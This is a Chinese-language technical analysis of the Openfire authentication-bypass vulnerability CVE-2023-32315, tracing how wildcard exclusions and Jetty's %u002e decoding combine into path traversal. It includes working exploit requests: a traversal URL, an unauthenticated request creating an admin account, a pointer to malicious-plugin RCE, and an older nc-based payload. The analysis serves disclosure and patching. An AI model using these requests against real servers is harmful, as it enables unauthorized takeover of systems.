CVE-2023-32315 Openfire管理控制台认证绕过漏洞分析
0x00 漏洞简介
Openfire是一个实时协作(RTC)服务器,编写于Java,它使用唯一被广泛采用的即时通讯开放协议XMPP,并提供Web管理界面。
Openfire的API定义了一种机制,允许使用通配符实现灵活的URL模式匹配以将某些URL从Web认证中排除。并且由于Openfire使用到的Web服务器支持解析非标准的UTF-16字符URL编码变体,导致了路径遍历漏洞。通配符模式匹配与路径遍历漏洞的组合可以使攻击者绕过认证访问后台管理控制台,最终通过后台上传恶意插件能够实现远程代码执行,完全地控制服务器权限。
0x01 影响版本
>=3.10.0, <4.6.8
>=4.7.0, <4.7.5
0x02 漏洞分析
通配符模式匹配致使的鉴权绕过
Openfire的API定义了一种机制,可以将某些URL从Web认证中排除,此机制允许使用通配符,以实现灵活的URL模式匹配。在存在漏洞的4.7.4版本中,xmppserver/src/main/webapp/WEB-INF/web.xml
配置文件的相关内容如下。
1 | <filter> |
这里的本意是,符合如上列表中的文件,如登录页面、首次安装页面、静态图片/CSS文件等,请求它们,便排除在Web认证之外。
通过版本对比,可以发现在安全的4.7.5版本中,setup/index.jsp
和setup/setup-*
已经被删除了。
Openfire的鉴权位于org.jivesoftware.admin.AuthCheckFilter
类中的doFilter
鉴权方法。
1 | public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { |
在其中,可以看到如下片段代码,对excludes
列表进行循环,执行testURLPassesExclude(url, exclude)
方法的判断,若testURLPassesExclude
返回true,那么doExclude
的值也将为true,循环将会break,最终就能够成功实现鉴权绕过;否则当doExclude
为false时,便会跳转登录页面。
1 | // See if it's contained in the exclude list. If so, skip filter execution |
这能够表明,testURLPassesExclude
方法就是实现鉴权绕过的关键。
在对该方法做进一步分析前,先回顾一个十五年的漏洞。其实最早在2008年,v3.6.0版本的Openfire就已经出现过一次路径遍历漏洞,漏洞编号是CVE-2008-6508,该漏洞的POC如下。
1 | GET /setup/setup-/../../log.jsp |
官方在v3.6.1版本只考虑了对原始的..
进行了判断和过滤,这样修复的并不彻底,如下经过URL编码的..
的payload仍然能够进行绕过。
1 | echo "GET /setup/setup-/%2E%2E/%2E%2E/log.jsp?log=info&mode=asc&lines=All" | nc localhost 9090 |
于是官方在v3.6.2版本中又对%2e
的情况进行了判断和过滤。
1 | // v3.6.2 |
这一段代码延续至今,在十几年后的4.7.4版本中依然没发生变化,4.7.4版本的testURLPassesExclude
方法内容如下,已省略部分无关代码。
1 | public static boolean testURLPassesExclude(String url, String exclude) { |
通过漏洞Reporter在CVE-2023-32315的GitHub Security Advisory中提供的POC /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
,可以发现这个路径恰恰是符合excludes
列表中的setup/setup-*
的通配符匹配。当二者共同传入进testURLPassesExclude
方法中时,便能符合如上的几个判断,顺利返回true到doExclude
中,使doExclude
的值也为true,最终便成功的绕过doExclude
的鉴权,顺利到达Openfire的Jetty Web服务器,由其继续处理。
Jetty“新特性”致使的路径遍历
在早期版本的Openfire中,当时内置的Jetty Web服务器不支持解析%u002e
这种编码,所以当时的安全补丁简单的过滤..
和%2e
,对于早期版本的Openfire是足够了的。
但是在之后版本的Openfire中,使用的Jetty Web服务器能够支持这种非标准的UTF-16字符URL编码变体,这种“新特性”导致原本的路径遍历漏洞又一次地出现在Openfire中,此处的“新”是相对而言。
Openfire v4.7.4中的Jetty版本为9.4.43.v20210629,请求路径的处理位于org.eclipse.jetty.http.HttpURI
类,跟进其中的parse
方法,来到它的末尾关键代码片段。
1 | else if (_path != null) |
这段代码会调用URIUtil.decodePath
方法进行解码,然后使用URIUtil.canonicalPath
对解码后的路径做规范化处理。
解码路径的方法位于org.eclipse.jetty.util.URIUtil#decodePath
,完整内容如下。
1 | public static String decodePath(String path, int offset, int length) { |
根据如上代码的逻辑,当传入%u002e
字符串到decodePath
方法时,它会对该字符串进行解码处理。
首先,方法进入循环,遍历字符串中的字符。
在循环中,遇到字符
%
,表示接下来的字符是需要解码的。方法检查接下来的字符是否为
u
。因为%u002e
中的u
是小写的,所以会执行以下代码块:1
2
3
4if (u == 'u') {
builder.append((char)(0xffff & parseInt(path, i + 2, 4, 16)));
i += 5;
}方法调用
TypeUtil.parseInt
方法解析四个字符002e
,并将解析结果作为一个字符添加到builder
中。这里的TypeUtil.parseInt
方法会将十六进制字符解析为对应的数值。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public static int parseInt(String s, int offset, int length, int base) throws NumberFormatException {
int value = 0;
if (length < 0)
length = s.length() - offset;
for (int i = 0; i < length; i++) {
char c = s.charAt(offset + i);
int digit = convertHexDigit((int) c);
if (digit < 0 || digit >= base)
throw new NumberFormatException(s.substring(offset, offset + length));
value = value * base + digit;
}
return value;
}解析结果为
.
的Unicode码点(0x002e)。(char)(0xffff & TypeUtil.parseInt(path, i + 2, 4, 16))
将Unicode码点强制转换为一个字符,并将其添加到builder
中。i += 5
用于跳过解码的字符,即%u002e
中的u002e
。
循环继续,因为已经处理完
%u002e
,下一个字符是正常字符.
。方法将
.
直接添加到builder
中。循环结束,根据
builder
的内容生成一个新的字符串,并将其返回。
当然,也可以运行看看实际的结果,创建一个新项目,并导入如下版本的maven依赖。
1 | <dependencies><!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-util --> |
然后编写如下代码。
1 | package org.jetty; |
首先URIUtil.decodePath
将/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
解码为/setup/setup-s/../../log.jsp
,接着URIUtil.canonicalPath
方法将该路径规范化处理成/log.jsp
。
1 | 2023-06-15 16:33:47.987:INFO::main: Logging initialized @272ms to org.eclipse.jetty.util.log.StdErrLog |
在维基百科的说法中,%uxxxx
这种形式的编码是一种非标准的Unicode字符编码方式,其中xxxx表示一个UTF-16代码单元,由四个十六进制数字表示。这种行为没有被任何RFC规范指定,并且被W3C拒绝。
0x03 漏洞利用
路径遍历
在一个未登录Openfire的浏览器中,通过如下请求路径,如果显示部分日志文件则表明存在漏洞,如果重定向到登录页面,则表明无漏洞。
1 | http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp |
未授权用户创建
创建一个账号和密码为admin2/admin2的管理员用户。
1 | GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=Jm6f0wY78QMP8jj&username=admin2&name=admin2&email=admin2%40example.com&password=admin2&passwordConfirm=admin2&isadmin=on&create=Create+User |
1 | 200 OK |
插件上传实现RCE
登录如上创建的管理员用户,在后台添加恶意插件然后实现远程代码执行。恶意插件的实现可以是自己基于Openfire已有的插件进行二开,也可以使用如下恶意插件。
0x04 修复建议
目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:
https://github.com/igniterealtime/Openfire/releases
0x05 参考
- https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
- https://igniterealtime.atlassian.net/browse/OF-2595
- https://igniterealtime.atlassian.net/browse/JM-1489
- https://en.wikipedia.org/wiki/URL_encoding#Non-standard_implementations
- https://github.com/vulhub/openfire-fastpath-plugin